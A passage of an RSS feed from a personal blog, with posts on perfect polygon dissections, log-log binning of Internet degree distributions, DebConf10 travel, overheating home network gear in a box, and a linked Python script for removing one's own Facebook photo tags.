		<category><![CDATA[procrastination]]></category>

		<guid isPermaLink="false">http://www.lucianobello.com.ar/?p=1326</guid>
		<description><![CDATA[Por razones que explicaré en una próxima entrada de este mismo blog, últimamente he estado divagando alrededor del concepto de la disección perfecta de polígonos. Y es este divague el que me gustaría compartir con ustedes en este (demasiado) extenso post. Empezando por el principio, ¿qué es un polígono? En términos wikipediables: un polígono es [...]]]></description>
			<content:encoded><![CDATA[<p>Por razones que explicaré en una próxima entrada de este mismo blog, últimamente he estado divagando alrededor del concepto de la <strong>disección perfecta de polígonos</strong>. Y es este divague el que me gustaría compartir con ustedes en este (demasiado) extenso post.</p>
<p>Empezando por el principio, ¿qué es un <strong>polígono</strong>? En <a href="http://es.wikipedia.org/wiki/Polígono">términos wikipediables</a>:</p>
<blockquote><p>un polígono es una figura geométrica formada por segmentos consecutivos no alineados, llamados lados.</p></blockquote>
<p>Nos gusta que los segmentos no estén alineados, porque así forman ángulos, que es parte de la <a href="http://es.wikipedia.org/wiki/Pol%C3%ADgono#Etimolog.C3.ADa">definición etimológica</a>. Por otro lado, el hecho de que los segmentos sean consecutivos, garantiza que la figura quede cerrada. En particular, nos vamos a centrar en polígonos que sean:</p>
<ul>
<li>planos. Es decir, bidimensionales, de lo que se pueden dibujar en un papel.</li>
<li>simples. Es decir, que sus lados no se corten entre sí.</li>
<li>convexos. Es decir, si al atravesarlo con cualquier recta lo corta en no más de dos puntos.</li>
<li>con hasta un máximo de 4 lados. Es decir, triángulos y cuadriláteros</li>
</ul>
<p>En definitiva, vamos a referirnos a figuras sencillas donde algunas regularidades nos sean agradables, como el hecho de que los lados sean del mismo tamaño o que tenga algunos ángulos iguales.</p>
<p>Una vez acotado el universo de polígonos vayamos a la siguiente parte del asunto: <strong>la disección</strong>. Esta idea es bastante intuitiva. El objetivo es tomar un polígono y subdividirlo en otros. A estos <em>otros</em> los vamos a llamar <em>elementos</em>, dado que forman y son parte del polígono grande inicial. La cantidad de elementos es el <em>orden</em> de la disección. Un factor interesante que vamos a agregar a esta definición informal es que los elementos solo pueden variar en su proporción u orientación, por ejemplo que sean todos cuadrados o todos triángulos rectángulos, pero no mezclados.</p>
<p><img src="http://www.quilt-lovers-guide.com/images/QuarterSquareTrianglesBlock.jpg" alt="" width="150" height="153" align="right" /></p>
<p>Vamos a por un ejemplo inicial sencillo. Si tomamos un cuadrado, podemos dividirlo en cuatro triángulos isósceles rectángulos del mismo tamaño, como en la figura de la derecha . Así tenemos un <em>polígono interesante</em> (el cuadrado) que puede ser dividido en cuatro <em>polígonos interesantes</em> (los triángulos rectángulos isósceles). Sin un gran esfuerzo de imaginación, también podríamos dividir un cuadrado en 4 cuadrados (pero es una imagen que evitaremos, que me hace acordar a una empresa monopolizadora).</p>
<p>Así obtenemos disecciones de polígonos, que a primera vista, no parecen ninguna genialidad. Sin embargo, algunas ideas interesantes empiezan a surgir. Por ejemplo, dado que tanto el contenedor como los elementos son <em>interesantes</em>, la noción recursiva aflora. Otros conceptos llamativos, como el de  <a href="http://es.wikipedia.org/wiki/Teselaci%C3%B3n#Teselados_regulares">teselado regular</a>, <a href="http://mathworld.wolfram.com/TrianglePacking.html">temas de empaquetamiento</a> o <a href="http://mathworld.wolfram.com/MrsPerkinssQuilt.html">el problema de Mrs. Perkins&#8217;s Quilt </a>pueden desprenderse desde este punto.</p>
<p>Nosotros vamos a tomar otro camino al agregar el último ingrediente de esta receta: la disección <strong>perfecta</strong>, que pide que los elementos sean todos de distinto tamaño. Acá se pone más interesante y mucho menos obvio. Volvamos a nuestro ejemplo de dividir un cuadrado en triángulos rectángulos isósceles, pero esta vez hagamos una disección perfecta. A continuación, la propuesta de <a href="http://at.yorku.ca/t/o/p/c/16.htm">Arthur Stone</a>:</p>
<p><center><img align=center src="http://www.squaring.net/tri/gfx/x7-7PA.jpg" alt="" width="300" height="300" /></center></p>
<p>El número es el largo del cateto de triángulo. Estamos entrando en un terreno donde ahora las cosas son difíciles de imaginar a primera vista. Uno podría empezar a preguntarse en cuántas formas distintas se pueden hacer estas disecciones, si es que hay mas de una. Y si hubiese, cómo se pueden construir. En un <a href="http://linkinghub.elsevier.com/retrieve/pii/S0095895600919877">interesante y largo paper de 1999</a>, Skinner II et. al. proponen una analogía con <a href="http://es.wikipedia.org/wiki/Leyes_de_Kirchhoff_de_circuitos_el%C3%A9ctricos">la primera ley de Kirchhoff (si, esa sobre los nodos de los circuitos eléctricos)</a> para ayudar a la construcción de disecciones perfectas de cuadrados. Este método genera disecciones a triángulos rectángulos isósceles que cortan la diagonal principal de cuadrado que los contiene (lo que permite generar disecciones simples, explicadas más adelante). Como en el siguiente ejemplo extraído de la <a href="http://www.lucianobello.com.ar/blog/On_the_Dissection_of_Rectangles_into_Right-Angled_Isosceles_Triangles.pdf">página 33 del paper</a>:</p>
<p><center><img src="http://www.lucianobello.com.ar/blog/square_12_15_skinner.jpg" alt="" /></center></p>
<p>La siguiente pregunta es si existen disecciones perfectas en otras formas <em>interesantes</em>. Por ejemplo, Brooks et. al. <a href="http://www.math.niu.edu/~rusin/known-math/99/equilateral">demostraron que no es posible</a> dividir un triángulo equilátero en triángulos equiláteros de forma perfecta. En <a href="http://projecteuclid.org/euclid.dmj/1077492259">ese mismo trabajo de 1940</a> se señala que, a diferencia de la perfectibilidad, era posible hacer una disección de equiláteros en equiláteros que fuese <strong>simple</strong>.</p>
<p>Se dice que una disección es <strong>simple</strong> cuando ningún subconjunto de 2 o más elementos forma una figura de las informalmente definidas como <em>interesante</em>. Por ejemplo, en el caso de la distribución propuesta por Stone que ya mencionamos, el subconjunto de elementos pintado con verde forma un triángulo rectángulo isósceles:<br />
<center><img src="http://www.lucianobello.com.ar/blog/x7-7PA.jpg" alt="" /></center><br />
Por lo que definimos esta disección como <strong>compuesta</strong> en contraposición a la <strong>simple</strong> que expone Skinner et. al.</p>
<p>Una disección puede ser simple y no perfecta, o viceversa. Así, y como venía diciendo, Brooks et. al. dicen que es posible dividir un triángulo equilátero en triángulos equiláteros de forma simple, aunque imperfecta. Dicha forma fue presentada por <a href="http://www.squaring.net/history_theory/brooks_smith_stone_tutte_II.html">William Tutte</a>, un famoso criptoanalista británico, y es así:<br />
<center><img src="http://www.squaring.net/tri/gfx/wtt-15-39.gif" alt="" /></center><br />
Y como en la vida misma, lo simple y lo perfecto perecen ser cualidades que cuesta ver en conjunto. Pero que, para belleza de la cosas, no es imposible de encontrar. Así es que me gustaría presentarles el cuadrado de menor orden que puede dividirse en cuadrados de forma simple y perfecta, descubierto por <a href="http://www.squaring.net/history_theory/duijvestijn.html">Adrianus Johannes Wilhelmus Duijvestijn</a> la noche del 22 de Marzo de 1978:</p>
<p><center><img src="http://mathworld.wolfram.com/images/eps-gif/PerfectSquare21_1100.gif" alt="" /></center></p>
<p>Esta disección en 21 cuadrados desiguales que no forman subconjuntos de cuadrados es lo que se conoce como <strong>la disección de Duijvestijn</strong>, y se pueden <a href="http://math-art.spreadshirt.com/duijvestijn-dissection-A4632968">comprar remeras con su estampa</a>. Si bien Duijvestijn ya había descubierto disecciones perfectas simples del cuadrado de ordenes superiores, había probado, junto a <a href="http://www.squaring.net/history_theory/chris_bouwkamp.html">Bouwkamp</a>, que no era posible crear estas disecciones en órdenes menores a 20. De ahí el esfuerzo por encontrar la más pequeña de las posibilidades.</p>
<p>Espero no haberlos aburrido en demasía. Para mí fue muy entretenido y aprendí muchísimo sobre álgebra y geometría, así como formas de representación imaginativas de conceptos geométricos que permiten razonar de forma algorítmica. Si quieren aprender más sobre los temas tratados en esta entrada, pueden consultar la página <a href="http://www.squaring.net/">Squaring.net</a> que está totalmente dedicada a este tipo de puzzles e incluye biografía de las personalidades referentes del área, así  como otros temas relacionados. Este post está fuertemente basado en esta web. El artículo de <a href="http://mathworld.wolfram.com/PerfectSquareDissection.html">Wolfram MathWorld</a> al respecto también es muy entretenido. Se puede chusmear la página de wikipedia sobre el problema de <a href="http://en.wikipedia.org/wiki/Squaring_the_square">Squaring the square</a> para una idea más breve de la representación de Smith.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.lucianobello.com.ar/post/diseccion_perfecta/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>DebConf10 meme</title>
		<link>http://www.lucianobello.com.ar/post/debconf10-meme/</link>
		<comments>http://www.lucianobello.com.ar/post/debconf10-meme/#comments</comments>
		<pubDate>Fri, 12 Mar 2010 18:57:23 +0000</pubDate>
		<dc:creator>luciano</dc:creator>
				<category><![CDATA[debian]]></category>
		<category><![CDATA[journeys & traveling]]></category>
		<category><![CDATA[life]]></category>
		<category><![CDATA[planet]]></category>
		<category><![CDATA[sorry for my english]]></category>
		<category><![CDATA[wtf?!]]></category>

		<guid isPermaLink="false">http://www.lucianobello.com.ar/?p=1316</guid>
		<description><![CDATA[I happy to announce that I bought the tickets, so&#8230; To save on the price, the itinerary includes a couple of long waits: AV88 EZE-BOG: 6h 30m Waiting at BOG: 10h 50m AV20 BOG-JFK: 5h 35m AV21 JFK-BOG: 6h 00m Waiting at BOG: 9h 10m AV87 BOG-EZE: 6h 15m Summarizing, almost half of the trip [...]]]></description>
			<content:encoded><![CDATA[<p>I happy to announce that I bought the tickets, so&#8230;</p>
<p><center><a href="http://debconf10.debconf.org/"><img class="aligncenter" title="im_going_to_debconf10" src="http://www.lucianobello.com.ar/blog/im_going_to_debconf10.png" alt="" width="200" height="101" /></a></center>To save on the price, the itinerary includes a couple of long waits:</p>
<ul>
<li>AV88 EZE-BOG: 6h 30m</li>
<li>Waiting at BOG: 10h 50m</li>
<li>AV20 BOG-JFK: 5h 35m</li>
<li>AV21 JFK-BOG: 6h 00m</li>
<li>Waiting at BOG: 9h 10m</li>
<li>AV87 BOG-EZE: 6h 15m</li>
</ul>
<p>Summarizing, almost half of the trip is waiting&#8230; :P</p>
]]></content:encoded>
			<wfw:commentRss>http://www.lucianobello.com.ar/post/debconf10-meme/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>still introduction</title>
		<link>http://www.lucianobello.com.ar/post/still-introduction/</link>
		<comments>http://www.lucianobello.com.ar/post/still-introduction/#comments</comments>
		<pubDate>Fri, 19 Feb 2010 17:21:45 +0000</pubDate>
		<dc:creator>luciano</dc:creator>
				<category><![CDATA[life]]></category>
		<category><![CDATA[sorry for my english]]></category>

		<guid isPermaLink="false">http://www.lucianobello.com.ar/?p=1310</guid>
		<description><![CDATA[Ladies and gentlemen, with you&#8230; my (first) nephew :) UPDATE Tue, 09 Mar 2010 15:05:51 -0300: According to this, is a &#8220;he&#8221; (henceforth Gregorio).]]></description>
			<content:encoded><![CDATA[<p>Ladies and gentlemen, with you&#8230;<br />
<object width="425" height="344"><param name="movie" value="http://www.youtube.com/v/M4d2S1IU4U8&#038;hl=en_US&#038;fs=1&#038;"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/M4d2S1IU4U8&#038;hl=en_US&#038;fs=1&#038;" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"></embed></object><br />
my (first) nephew :)</p>
<p><strong>UPDATE Tue, 09 Mar 2010 15:05:51 -0300</strong>:  According to <a href="http://www.youtube.com/watch?v=I0EqI0vRw7s">this</a>, is a &#8220;he&#8221; (henceforth <a href="http://www.google.com/search?q=%22gregorio+sarasate%22">Gregorio</a>).</p>
]]></content:encoded>
			<wfw:commentRss>http://www.lucianobello.com.ar/post/still-introduction/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>log log binning</title>
		<link>http://www.lucianobello.com.ar/post/log-log-binning/</link>
		<comments>http://www.lucianobello.com.ar/post/log-log-binning/#comments</comments>
		<pubDate>Fri, 22 Jan 2010 21:48:11 +0000</pubDate>
		<dc:creator>luciano</dc:creator>
				<category><![CDATA[academy]]></category>
		<category><![CDATA[geek]]></category>
		<category><![CDATA[math]]></category>
		<category><![CDATA[probability & statistics]]></category>

		<guid isPermaLink="false">http://www.lucianobello.com.ar/?p=1288</guid>
		<description><![CDATA[Una de las materias que hice el año pasado (estrictamente hablando, aún la estoy haciendo) fue Topología de Internet, con Nacho Alvarez-Hamelin. En ella estudié a Internet como sistema complejo, donde routers y/o ASs se interconectan y forman un grafo. Una de las propiedades más características de los grafos es su distribución de grados. El [...]]]></description>
			<content:encoded><![CDATA[<p>Una de las materias que hice el año pasado (estrictamente hablando, aún la estoy haciendo) fue <em>Topología de Internet</em>, con <a href="http://cnet.fi.uba.ar/ignacio.alvarez-hamelin/index_es.html"><em>Nacho</em> Alvarez-Hamelin</a>. En ella estudié a Internet como <a href="http://es.wikipedia.org/wiki/Sistema_complejo">sistema complejo</a>, donde routers y/o <a href="http://www.ietf.org/rfc/rfc1930.txt">AS</a>s se interconectan y forman un <a href="http://es.wikipedia.org/wiki/Grafo">grafo</a>.</p>
<p><img src="http://upload.wikimedia.org/wikipedia/commons/thumb/5/5b/6n-graf.svg/333px-6n-graf.svg.png" alt="" width="333" height="220" align="left" />Una de las propiedades más características de los grafos es su <a href="http://es.wikipedia.org/wiki/Distribuci%C3%B3n_de_grado">distribución de grados</a>. El <a href="http://es.wikipedia.org/wiki/Grado_%28teor%C3%ADa_de_grafos%29">grado</a> es la cantidad de vértices que tiene un nodo. En el ejemplo de la izquierda, el nodo 4 tiene grado 3. La distribución de grados es una característica del grafo en su conjunto y no es otra cosa que contar cuántos nodos hay con grado 0, cuántos con grado 1, y así siguiendo. En el caso de la topología de Internet, no hay nodos con grado 0, ya que es una red totalmente conexa (triste sería estar conectado a ese router que no está conectado a nada más).</p>
<p>La topología de Internet (es decir, cómo se interconectan sus componentes) no se conoce a ciencia cierta (tema que quedará para otro post) pero hay algunos acercamientos académicamente aceptados. Uno de ellos es el de <a href="http://www.caida.org/data/active/as-relationships/">CAIDA</a> que provee información sobre como están conectados los distintos sistemas autónomos. <a href="http://www.caida.org/data/request_user_info_forms/as_relationships.xml">Esta data</a>, después de modificar un poco su formato, puede ser analizada con el módulo <a href="http://sourceforge.net/projects/complex-sys-sci/">Complex Systems Toolbox</a>, para <a href="http://www.scilab.org/">Scilab</a>, un clon libre de <a href="http://www.mathworks.com/">Matlab</a>.<br />
Resulta ser que, al analizar la distribución de grados de la topología de Internet, uno se encuentra con una <a href="http://es.wikipedia.org/wiki/Ley_potencial">distribución de ley potencial</a> (<em>chocolate por la noticias</em>, dirían los hermanos Faloutsos, que <a href="http://www.cis.upenn.edu/~mkearns/teaching/NetworkedLife/power-internet.pdf">ya sabían esto desde 1999</a>). </p>
<p><img src="http://www.geo.lsa.umich.edu/~ruff/geo284.F2003/EQs/powerLaw.gif" alt="" align="right" />Esta ley de potencia (en inglés, power law) es una relación en que la frecuencia de un hecho cae de forma exponencial con respecto a la magnitud. Este tipo de distribuciones tiene una forma de panza hacia el eje de coordenadas y abunda en la naturaleza™, desde el crecimiento de los ríos hasta la popularidad de las personas en las redes sociales. Por su forma tan particular, se suele dibujar en ejes logarítmicos, quedando como una recta que se caracteriza por su pendiente (en el dibujo, <em>b</em>), que es el exponente de la curva en ejes lineales.</p>
<p>En estos dibujos, la curva es continua y elegante. Pero cuando uno va al mundo discreto de la modelización de fenómenos, la cosa cambia. Y mucho. Por ejemplo, este es el gráfico de la distribución de grados de la topología de AS, según CAIDA:<br />
<img src="http://www.lucianobello.com.ar/blog/caida.power_law.png" alt="" /><br />
Los puntos rojos son las muestras discretas, las uní solo para que se aprecie mejor cuál va delante de cada cuál. Como se ve, la cosa no queda tan prolijita y agradable. Es que hay veces que la naturaleza™ se resiste a ser modelada con una fórmula y la <a href="http://en.wikipedia.org/wiki/Power_law#Estimating_the_exponent_from_empirical_data">estimación de al pendiente cuando se trata de datos experimentales</a> puede ser complicada, sobre todo en la cola. Así es como llegamos al concepto de <em>binning</em>.</p>
<p>La idea es sencilla. Consiste en dividir el eje <em>x</em> es zócalos (bins) de tamaño fijo. Después tomar todas las muestras que caigan en un bin y promediarlas. Así, se grafica solo este promedio como un único punto que representa a todo el bin. Como estamos trabajando con ejes logarítmicos, el calculo del ancho de los bins requiere cierta aritmética, dado que estos se van ampliando exponencialmente (de forma tal que queden todos del mismo tamaño, o casi, al plotearlos). A esto lo llamamos <em>log log binning</em>.</p>
<p>Por suerte, el <a href="http://sourceforge.net/projects/complex-sys-sci/">Complex Systems Toolbox</a> tiene <a href="http://complex-sys-sci.svn.sourceforge.net/viewvc/complex-sys-sci/trunk/Complex_Systems/macros/log_log_binning.sci?view=log">una función</a> para hacer esta magia. Y aquí está el resultado:<br />
<img src="http://www.lucianobello.com.ar/blog/log_log_binning_old.jpg" alt="" /><br />
Las muestras son las cruces rojas, mientras que los puntos verdes son los representantes de binning. Puede verse que están casi equidistantes, sobre todo  después de 10.  Por otro lado ¿no notan nada raro acá? Vamos por partes. En la parte inicial de la curva, ésta aparece por debajo de la línea de las cruces rojas. Esto empieza a tener poco sentido. Se supone que el promedio de un único punto es ese mismo punto.</p>
<p>Más grave aún es lo que ocurre en la cola. Ahí, esporádicos puntos (hay muchos ceros) generan una recta paralela al eje. Cuando uno promedia varios valores el resultado debería ser cada vez menor si la cantidad de ceros aumenta. Sin embargo, aquí la curva se suaviza hasta perder toda su inclinación.</p>
<p>Fue así como decidí mejorar esta funcion de <em>log log binning</em> (si, toda esta introducción para contarles esto&#8230; es que evidentemente soy muy <a href="http://buscon.rae.es/draeI/SrvltConsulta?LEMA=pedante">pedante</a>). A continuación, el mismo gráfico, resultado de mi propia implementación:<br />
<img src="http://www.lucianobello.com.ar/blog/log_log_binning_new.jpg" alt="" /><br />
Algunas reimplementaciones por acá, fixeo de bugs por allá y ahora la pendiente se puede ver mucho más clara. Obvio que también podías leerte <a href="http://www.cis.upenn.edu/~mkearns/teaching/NetworkedLife/power-internet.pdf">el paper de los hermanos Faloutsos</a>, donde se explica que <em>b</em> está entre <em>2.1</em> y <em>2.4</em>, pero no hubiese sido igual de divertido. Tuve que leer bastante y entender aritmética que había olvidado. Putié mucho contra scilab/matlab pero terminé descubriéndole cosas interesantes. En general, fue algo bastante entretenido.</p>
<p>La nueva implementación de <em>log log binning</em> ya está en el trunk de <a href="http://sourceforge.net/projects/complex-sys-sci/">Complex Systems Toolbox</a> y seguramente estará disponible en la próxima versión. También incluí novedades para graficar distribución de grados cuando los grafos son dirigidos y algunas otras pequeñeses de formato.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.lucianobello.com.ar/post/log-log-binning/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>(hot) boxing network</title>
		<link>http://www.lucianobello.com.ar/post/hot-boxing-network/</link>
		<comments>http://www.lucianobello.com.ar/post/hot-boxing-network/#comments</comments>
		<pubDate>Tue, 12 Jan 2010 22:58:49 +0000</pubDate>
		<dc:creator>luciano</dc:creator>
				<category><![CDATA[geek]]></category>
		<category><![CDATA[hardware]]></category>
		<category><![CDATA[life]]></category>
		<category><![CDATA[procrastination]]></category>

		<guid isPermaLink="false">http://www.lucianobello.com.ar/?p=1277</guid>
		<description><![CDATA[Hace unos días comenté que, por razones de practicidad, metí todos mis aparatos de redes en una caja. Si bien le puse alguna ventilación no forzada, varios amigos y conocidos insistieron en la alta temperatura que podía llegar a alcanzarse dentro del susodicho tupperware. Desde mi punto de vista, no hay (había) nada de que [...]]]></description>
			<content:encoded><![CDATA[<p>Hace unos días <a href="http://www.lucianobello.com.ar/post/boxing-network/">comenté</a> que, por razones de practicidad, metí todos mis aparatos de redes en una caja. Si bien le puse alguna ventilación no forzada, <a href="http://www.facebook.com/notes/luciano-bello/boxing-network/246818258745">varios amigos y conocidos insistieron</a> en la alta temperatura que podía llegar a alcanzarse dentro del susodicho tupperware. Desde mi punto de vista, no hay (había) nada de que preocuparse.</p>
<p>Pero hablar es gratis, así que decidí ir a los papeles y a las pruebas concretas, para lo que, evidentemente, era necesario un termómetro. Fue así como encontré la excusa para hacerme de <a href="http://www.tumedicion.com/product_info.php?cPath=1_85&amp;products_id=36">uno</a>, tal como se puede ver:</p>
<p><img src="http://www.lucianobello.com.ar/blog/boxing_thermometer.png" alt="" /><br />
Ahora puedo saber que dentro de la caja la temperatura ronda los 48ºC, aunque tiene picos de 50ºC cuando hace calor en el living. En lo personal, era más o menos lo que calculaba. El sensor lo fijé a la tapa superior, con lo que voy a suponer que es el lugar más caliente de la caja (aunque tal vez lo sea entre los transformadores, no se&#8230;).</p>
<p>Con la intensión de ver que tan grave puede ser esto para los equipos en su interior, me puse a recolectar las especificaciones de la parte electrónica (¿debería preocuparme también por las condiciones en la que trabajan los transformadores?). Aquí, la lista de dispositivos con el rango de temperatura operativo y links a las fuentes:</p>
<ul>
<li>Access Point <a href="http://www.d-link.com/products/?pid=18">D-Link DWL-800AP+</a>: <a href="ftp://ftp10.dlink.com/pdfs/products/DWL-800AP+/DWL-800AP+_ds.pdf">de 0º a 55ºC</a></li>
<li> Router+switch <a href="http://www.linksysbycisco.com/US/en/products/BEFSX41">Linksys BEFSX41</a>:  <a href="http://downloads.linksysbycisco.com/downloads/datasheet/BEFSX41v2_ds.pdf">de 0ºC a</a><a href="http://downloads.linksysbycisco.com/downloads/datasheet/BEFSX41v2_ds.pdf"> <strong><span style="color: #ff0000;">40ºC</span></strong></a></li>
<li>Cable Modem <a href="http://www.cisco.com/web/consumer/support/modem_DPC2100.html">Scientific Atlanta DPC2100</a>: <a href="http://www.arenaservicesinc.com/manuals/Cable_Modems/SA/DPC2100datasheet.pdf">de 0ºC a <strong><span style="color: #ff0000;">40ºC</span></strong></a></li>
<li>SIP terminal <a href="http://www.grandstream.com/products/ht_series/ht486/ht486.html">Grandstream HandyTone 486</a>: <a href="http://downloads.linksysbycisco.com/downloads/datasheet/BEFSX41v2_ds.pdf">de 0ºC a</a><a href="http://www.grandstream.com/products/ht_series/general/marketing/ht_brochure_english.pdf"> <strong><span style="color: #ff0000;">40ºC</span></strong></a></li>
</ul>
<p>Para mi sorpresa (es que claramente soy un ignorante) 3 de los 4 aparatos tienen temperaturas máximas de operación de 40ºC, ~10ºC menos de lo que se respira por esos lares.</p>
<p>Evidentemente, estimados comentaristas, tenían razón. Es que soy un cabeza dura, ya lo saben. El hecho es que tal vez sí debería preocuparme un poco más por bajar la temperatura de ese cajón si es que quiero que mi pequeña red siga funcionando.</p>
<p><strong>update 16 Jan 2010 12:01:10 -0300</strong>: Finalmente le puse un ventilador que expulse aire en la tapa (no solo fue la sugerencia de muchos, también era el único lugar donde cabía). Uno de fuente de PC, <a href="http://en.wikipedia.org/wiki/Brushless_DC_electric_motor"><em>brushless</em></a>.</p>
<p><img src="http://www.lucianobello.com.ar/blog/boxing_fan.png" alt="" /><br />
En el mismo lugar de medición, en el que antes tenía 48ºC ahora tengo entre 37ºC y 38ºC, lo cual es buenísimo. Un amigo me sugirió que mida entre los dispositivos. Ahí la historia cambia: 43ºC (no tengo idea de cual era antes en esta ubicación). Tal vez pueda hacer un sistema de tuberías para hacer correr aire entre ellos.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.lucianobello.com.ar/post/hot-boxing-network/feed/</wfw:commentRss>
		<slash:comments>11</slash:comments>
		</item>
		<item>
		<title>boxing network</title>
		<link>http://www.lucianobello.com.ar/post/boxing-network/</link>
		<comments>http://www.lucianobello.com.ar/post/boxing-network/#comments</comments>
		<pubDate>Sat, 09 Jan 2010 19:55:33 +0000</pubDate>
		<dc:creator>luciano</dc:creator>
				<category><![CDATA[geek]]></category>
		<category><![CDATA[hardware]]></category>
		<category><![CDATA[life]]></category>
		<category><![CDATA[procrastination]]></category>
		<category><![CDATA[sorry for my english]]></category>

		<guid isPermaLink="false">http://www.lucianobello.com.ar/?p=1274</guid>
		<description><![CDATA[Since I am a housewife (i.e. since I live on my own) my concerns have been extended to foreign horizons, such as taming dust and lint. All my network devices and wires has a particular magnetism for them. To make things worse, the devices cleaning is quiet hard. So, I decide to boxing them. All [...]]]></description>
			<content:encoded><![CDATA[<p>Since I am a housewife (i.e. since I live on my own) my concerns have been extended to foreign horizons, such as taming dust and lint. All my network devices and wires has a particular magnetism for them. To make things worse, the devices cleaning is quiet hard.</p>
<p>So, I decide to <em>boxing</em> them. All you need is a big tupperware and few rubber bands. Here is the process to build it:<br />
<center><img src="http://www.lucianobello.com.ar/blog/boxing_process.gif" alt="boxing process" /></center><br />
And this is done:<br />
<center><img src="http://www.lucianobello.com.ar/blog/boxing.png" alt="boxing" /></center></p>
]]></content:encoded>
			<wfw:commentRss>http://www.lucianobello.com.ar/post/boxing-network/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>La UTN tiene dueño (wtf)</title>
		<link>http://www.lucianobello.com.ar/post/la-utn-tiene-dueno-wtf/</link>
		<comments>http://www.lucianobello.com.ar/post/la-utn-tiene-dueno-wtf/#comments</comments>
		<pubDate>Wed, 30 Dec 2009 15:25:49 +0000</pubDate>
		<dc:creator>luciano</dc:creator>
				<category><![CDATA[procrastination]]></category>
		<category><![CDATA[social networking]]></category>
		<category><![CDATA[university]]></category>
		<category><![CDATA[wtf?!]]></category>

		<guid isPermaLink="false">http://www.lucianobello.com.ar/?p=1270</guid>
		<description><![CDATA[Hernán me pasó un excelente link de Linkedin (redundancia necesaria), la red social orientada a negocios y el mundo profesional, cuya captura reproduzco a continuación: Mucho se me ha escuchado putear sobre el corporativismo en la universidad en este blog y otros entornos. Pero este fallido es como demasiado :P El tiempo de estudio es [...]]]></description>
			<content:encoded><![CDATA[<p>Hernán me pasó un excelente link de <a href="http://www.linkedin.com/">Linkedin</a> (redundancia necesaria), la red social orientada a negocios y el mundo profesional, cuya captura reproduzco a continuación:<br />
<center><img src="http://www.lucianobello.com.ar/blog/UTN_owned_wtf.png" alt="" /></center><br />
Mucho se me ha escuchado putear sobre el corporativismo en la universidad en este blog y otros entornos. Pero este <a href="http://es.wikipedia.org/wiki/Acto_fallido">fallido</a> es como demasiado :P<br />
El tiempo de estudio es un bonus wtf (y yo que siempre pensé que mis 8 años de carrera habían sido demasiados)&#8230; </p>
<p><small>El borroneo sobre el nombre tiene como fin no darte el dato directamente, una situación parecida a la ocurrida <a href="http://www.lucianobello.com.ar/post/not-yours/#comment-1409">acá</a>. Ya sé que lo podés conseguir, bien por ti.</small></p>
]]></content:encoded>
			<wfw:commentRss>http://www.lucianobello.com.ar/post/la-utn-tiene-dueno-wtf/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>removing your facebook photo tags automagically</title>
		<link>http://www.lucianobello.com.ar/post/rmfb-en/</link>
		<comments>http://www.lucianobello.com.ar/post/rmfb-en/#comments</comments>
		<pubDate>Tue, 24 Nov 2009 16:22:35 +0000</pubDate>
		<dc:creator>luciano</dc:creator>
				<category><![CDATA[planet]]></category>
		<category><![CDATA[procrastination]]></category>
		<category><![CDATA[python]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[social networking]]></category>
		<category><![CDATA[sorry for my english]]></category>

		<guid isPermaLink="false">http://www.lucianobello.com.ar/?p=1242</guid>
		<description><![CDATA[Este post también está escrito en español aquí. Privacy at Facebook is heavy-duty. As a big fan of the Worlds Collide Theory I hate be tagged compulsively. I would like to select in which photos appear in my profile and feed. Since I couldn&#8217;t find that option in the setting menu, I looked for the [...]]]></description>
			<content:encoded><![CDATA[<p><small>Este post también está escrito en español <a href="http://www.lucianobello.com.ar/post/rmfb-es/">aquí</a></small>.</p>
<p>Privacy at <a href="http://www.facebook.com/privacy/">Facebook</a> is heavy-duty. As a big fan of the <a href="http://www.urbandictionary.com/define.php?term=Worlds Collide Theory">Worlds Collide Theory</a> I hate be tagged compulsively. I would like to select in which photos appear in my profile and feed. Since I couldn&#8217;t find that option in the setting menu, I looked for the answer in my favorite scripting language: <a href="http://www.python.org/">Python</a>.</p>
<p><a href="http://python.pastebin.com/f55c5896f">This 60-lines-long script</a> removes your tag from the latests photos where you has been labelled. You can download it from <a href="http://www.lucianobello.com.ar/rmfb/">here</a>. You may run it hourly (or every 15 minutes, or every 5 minutes, depends how paranoid you are) via <a href="http://en.wikipedia.org/wiki/Cron">cron</a> or whatever.</p>
<p>Any improvement is welcome. It probably runs on Windows too. If you managed to do it, leave a comment for the others.</p>
<p><strong>NEW VERSION!</strong> (available <a href="http://www.lucianobello.com.ar/rmfb/">here</a>).</p>
]]></content:encoded>
			<wfw:commentRss>http://www.lucianobello.com.ar/post/rmfb-en/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>remover tu etiqueta de las fotos de facebook automágicamente</title>
		<link>http://www.lucianobello.com.ar/post/rmfb-es/</link>
		<comments>http://www.lucianobello.com.ar/post/rmfb-es/#comments</comments>
		<pubDate>Tue, 24 Nov 2009 16:21:24 +0000</pubDate>
		<dc:creator>luciano</dc:creator>
				<category><![CDATA[geek]]></category>
		<category><![CDATA[planeta]]></category>
		<category><![CDATA[procrastination]]></category>
		<category><![CDATA[python]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[social networking]]></category>

		<guid isPermaLink="false">http://www.lucianobello.com.ar/?p=1245</guid>
		<description><![CDATA[This post has been written in English too. La privacidad en Facebook es un asunto complejo. Como gran suscriptor a la Teoría de Colisión de Mundos es que odio ser etiquetado en fotos de forma compulsiva. Me gustaría tener alguna forma de elegir en que fotos aparezco en mi perfil y actualizaciones. Dado que no [...]]]></description>
			<content:encoded><![CDATA[<p><small>This post has been written <a href="http://www.lucianobello.com.ar/post/rmfb-en/">in English too</a></small>.</p>
